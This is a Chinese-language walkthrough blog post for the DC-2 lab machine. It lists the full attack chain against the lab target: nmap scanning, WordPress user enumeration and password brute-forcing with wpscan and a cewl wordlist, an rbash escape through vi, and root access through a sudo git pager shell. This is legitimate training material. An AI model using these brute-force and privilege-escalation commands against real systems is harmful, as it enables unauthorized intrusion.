DC-2渗透测试 - fish666

news/2025/11/28 1:04:21/文章来源:https://www.cnblogs.com/fish666-wu/p/19279860

DC-2

就是记住,当靶机变成NAT模式的时候,要重新启动!!!

kali 192.168.236.129

靶机 192.168.236.133

一、信息收集。

探测目标主机的ip

(前提确保攻击机有ip地址。)

image-20251128003602682

查看靶机开放哪些端口。 是靶机的ip地址。

nmap -p- 192.168.236.133

image-20251128003625683

开放2个端口。 80 7744

先访问80端口

image-20251123174446112

重定向

浏览器提示找不到此网站,但IP是明确存在的(扫描确认过靶机),说明域名解析环节出现了问题。

但是发现访问不了,且发现我们输入的ip地址自动转化为了域名,我们想到dc-2这个域名解析失败,我们更改hosts文件,添加一个ip域名指向。

那我们就自己添加一下

添加的域名是啥呢??? 就是跳转失败的url地址栏上面域名写了。

/etc/hosts

image-20251123174756072

耐心等待。

进入主页后开始查找东西。发现有flag。

image-20251123175234028

关注他的提示。。wordpress

二、Web端渗透测试

wordpress

看到wordpress 就用dirsearch -u url 扫描一波

一看到 wordpress 就想到先用 wpscan 扫一波,来看看有什么插件漏洞

(dirsearch -u url 就行 -u 表明后面跟的是url)

flag1 里面是说让暴力破解的。

cewl 用于生成自定义密码字典工具

image-20251123195005663

扫描出来的网站,可以都去访问一下

image-20251123195159152

发现两个都是关于用户登录之类的

wpscan

wpscan 进行扫描 进行用户枚举

  • wpscan - -url http://dc-2 获取版本信息
  • wpscan - -url http://dc-2 - -enumerate p 扫描插件
  • wpscan - -url http://dc-2 - -enumerate u 枚举用户

image-20251124001345963

not update

更新一下 wpscan - - update

wpscan - -url http://dc-2/ -e u 枚举用户

image-20251126235856462

image-20251126235923938

成功!!!

image-20251127000041352

  • cewl http://dc-2/ > password.txt

    • cewl 网站关键词提取工具,生成自定义密码字典。
  • wpscan - -url http://dc-2/ - -passwords password.txt

    • 用来爆破用户密码

image-20251127000840784

发现这个。

登录。

jerry用户

image-20251127001008184

提示,换一个切入点。

nmap -p- 192.168.236.129/24

-p- 扫描所有端口 1-65535

image-20251127002056240

查看靶机开放了 80、7744端口。

注意分清楚靶机还是攻击机

还有7744端口没有被利用。用户tom还没用。考虑ssh

三、靶机的渗透测试

ssh tom@192.168.236.133 -p 7744

用ssh登陆成功后,首先查看一下我是谁whoami

image-20251127231337977

? 发现没有这个命令。

rbash 啥东西???

rbash 是受限制的Bash shell,用来限制用户的操作权限。

有个rbash逃逸!!!(linux提权的一种)

echo $PATH 路径

//运行结果。 /home/tom/usr/bin

意味着你只能执行这个目录下的命令,且不能用 cd 切换到该目录)

echo /home/tom/usr/bin/*

查看能执行啥命令。

image-20251127232421674

可以执行 less、ls、scp、vi 命令。

执行以后就能找到flag3啦啦哈哈哈哈哈

image-20251127002925557

通过ssh协议远程登陆另一台计算机。

ssh 用户名@ip -p 端口

(指定要登录的目标主机的用户名和目标主机的ip)

用户jerry

su

image-20251127002903925

正式开始rbash逃逸

可以

  • vi 或 BASH_CMDS设置shell来绕过rbash

  • 然后在设置环境变量添加命令

法一:

先vi

然后按住Esc,输入 :set shell=/bin/bash

后回车,接着输入

:shell

回车启动shell。

image-20251127233420650

当看见退出vi编辑器后就说明成功了。

接着看权限。

image-20251127233531261

已经升级为bash了,无法执行命令是因为环境变量的问题。添加路径就行。

image-20251127233633605

成功!!!

su切换用户

image-20251128001650602

查找flag文件

   find  / -name  *flag*

image-20251128001839693

除了flag4.txt ,其他文件的权限都没有

image-20251128001947207

git提权

suid提权

chmod u+s 名字 设置suid位

suid的话是以root权限在运行。

找一下具有suid权限的二进制文件

find / -user root -perm -4000 -print 2>/dev/null

image-20251128002508601

感觉没啥能用的。

image-20251128002536284

sudo -l 查看自己有哪些root权限。

(root)NOPASSWD: /usr/bin/git 核心。

用户jerry可以在DC-2这台机器上,以root身份执行/usr/bin/git命令,且不需要输入密码

法一:

sudo git help config

回车然后输入

!/bin/bash

法二:

sudo git -p help

回车输入

!/bin/bash

提权成功!!!

image-20251128003159901

image-20251128003245471

成功!!!

四、总结

1、渗透测试基本思路差不多都是信息收集之类的。

2、/etc/hosts 域名和ip的对应关系

3、wordpress —> wpscan

  • wpscan - -url http://dc-2/ -e u 枚举用户

4、cewl

  • cewl http://dc-2/ > password.txt
  • wpscan - -url http://dc-2/ - -passwords password.txt

5、注意分清楚靶机还是攻击机

6、ssh tom@192.168.236.133 -p 7744

ssh登录真的好常用啊。

7、提权

  • rbash 提权
    • echo $PTAH echo /home/tom/usr/bin(路径)
    • vi :set shell=/bin/bash :shell
    • export PTAH=$PTAH:/bin/
    • export PATH=$PATH:/usr/bin/
  • suid 提权
  • git提权
    • sudo git help config
    • !/bin/bash

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/979108.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AutoVEI Truck Explorer 2025 Updated: 700 Tokens Programming Diagnostic Tool for Euro/Amer Trucks

Navigating Truck Diagnostics & Programming in Europe & America: Meet the AutoVEI Truck Explorer Standard 2025 The Challenge: Outdated Tools Can’t Keep Up with Modern Trucks For European and Am…

k8s基本对象详解

Kubernetes 基本对象概念详解 1. Pod 1.1 核心概念 Pod是Kubernetes中最小的可部署单元,代表集群中运行的一个进程。 关键特性:一个Pod包含一个或多个紧密相关的容器 共享网络命名空间(同一IP地址) 共享存储卷 共享…

k8s核心组件详解

Kubernetes 核心组件详解 控制平面组件 (Control Plane Components) kube-apiserver 功能职责:Kubernetes 集群的前端接口,所有内部组件和外部客户端都通过API Server进行通信 处理REST请求,验证并配置API对象(Pod…

BLOG迁移: 从Halo + CF Tunnel 到 Hugo + github + Cloudflare page

BLOG迁移: 从Halo + CF Tunnel 到 Hugo + github + Cloudflare page 背景 前一段时间, 我的blog数据丢了 其实算不上彻底丢了, 原始的blog内容还存储在思源笔记上, 甚至发布记录都有, 所以本质上的数据确实没有丢 过去…

JDK:Linux下载安装jdk1.8

JDK:Linux下载安装jdk1.8下载jdk wget --no-check-certificate --no-cookies --header "Cookie: oraclelicense=accept-securebackup-cookie" http://download.oracle.com/otn-pub/java/jdk/8u131-b11/d54c1…

图论中的核心C++算法,包括存储结构、核心思路、速记口诀以及学习方法, 一站式上机考试学习

一、图的存储结构 不同算法适配不同的存储结构,选择合适的存储方式是实现算法的基础: 1. 邻接矩阵(二维数组) // 适用于稠密图,顶点数n较小的情况 const int MAXN = 1005; int graph[MAXN][MAXN]; // graph[i][j]…

hive 中 group by 和 distinct 孰优孰劣?

首先声明一下,hive是什么: hive 不是数据库,hive 只是一个数据仓库工具,可以用来查询、转化和加载数据,是可以调用 mapreduce 任务、用类 mysql 语法查询HDFS数据的一个工具。再来说 mapreduce 是什么,mapreduce…

DDD抽奖项目业务回顾

抽奖系统架构 模块概览模块名称 DDD 分层 职责描述trigger 接口层 (Interface Layer) 负责与外部系统交互,接收请求、身份验证、日志记录,并将请求转发给应用层。api 接口契约 (Contracts) 独立的服务契约定义,包含…

黑马程序员SpringCloud微服务开发与实战-微服务-服务拆分02

黑马程序员SpringCloud微服务开发与实战-微服务-服务拆分02Posted on 2025-11-28 00:17 心默默言 阅读(0) 评论(0) 收藏 举报接下来,我们就一起将黑马商城这个单体项目拆分为微服务项目,并解决其中出现的各种问…

API设计最佳实践 - 智慧园区

后端工程师的API设计与开发实战指南:从原则到部署作为一名后端开发,日常工作中一大部分时间都在和API打交道。它就像是整个应用的「服务员」,前端、移动端或者其他服务想要什么数据、执行什么操作,都得通过它。一个…

Python高阶知识点整理

数据类型 常用方法 (Method) 简要说明与应用场景字符串 str .strip() 去除首尾空格(常用于处理用户输入).split(sep) 按指定分隔符分割成列表(处理CSV数据常用).join(iter) 将列表元素合并成字符串(.split的逆操作…

第4单元检测卷

第4单元检测卷 - 题目、答案与解析 一、单项选择题题目:在Python中,用于创建一个新字典的语法是 ( )A. d = dict[] B. d = {} C. d = () D. d = new dict()答案:B 解析:在Python中,创建字典最常用和直接的方法是使…

javascript下载文件五种方式

javascript下载文件五种方式参考:https://blog.csdn.net/weixin_42705100/article/details/133125521 本文介绍了五种在JavaScript中下载文件的方法:通过`window.location.href`、`window.open()`、iframe、动态a标签…

ubunutu连接蓝牙键盘鼠标

​ 双系统ubunutu能连接上蓝牙耳机,但是win能连接上蓝牙键盘鼠标ubunutu却连接不上,百思不得其解。怀疑要么是驱动要没是配置的问题。试试了一下现有文章的方法,都是要让装bluez和blueman之类,装完之后还是搜索不到…

详细介绍:从 1.0 到 13.0:C# 十八年进化史,一部写给开发者的语言成长记

详细介绍:从 1.0 到 13.0:C# 十八年进化史,一部写给开发者的语言成长记2025-11-28 00:02 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: …

生研界:技术赋能,AI如何重塑医学科研生态?

在科技浪潮席卷全球的当下,人工智能(AI)正以前所未有的速度重塑医学科研生态。从靶点发现到药物设计,从疾病预测到精准诊疗,AI技术正逐步渗透至医学科研的每一个环节,推动着医学研究范式的深刻变革。在这场变革中…

2025ICPC区域赛成都站记——为者败之,执者失之

打银2025年的成都站是我有生以来第一次线下xcpc比赛。在先前的网络赛选拔中,我们队获得了两个icpc名额和1个ccpc名额。先前西安站我们学校打了两块金牌的情况下,我们队的三个人都非常希望在大学的第一场比赛就能打出…

quickfox windows 海外回国加速器 会导致部分国外网站不能使用

比如说 google.com可以,但是grok.com不能打开 关掉quickfox后,grok.com就能打开了

4433

用StegSolve分析图片看到一个二维码,在https://cli.im/deqr/other 扫描二维码猜测为摩斯密码...--.----...--..但没有分隔,根据题目提示4433,分隔为...-/-.--/--./..-/-..,在https://www.iamwawa.cn/morse.html 解…

在VMware Workstation设置虚拟机的VNC连接功能

在VMware Workstation设置虚拟机的VNC连接功能在VMware Workstation设置虚拟机的VNC连接功能。首先在workstation中设置好虚拟机的VNC连接参数,如图:使用VNC客户端开始连接虚拟机,配置如下: 这时候出现错误提示:…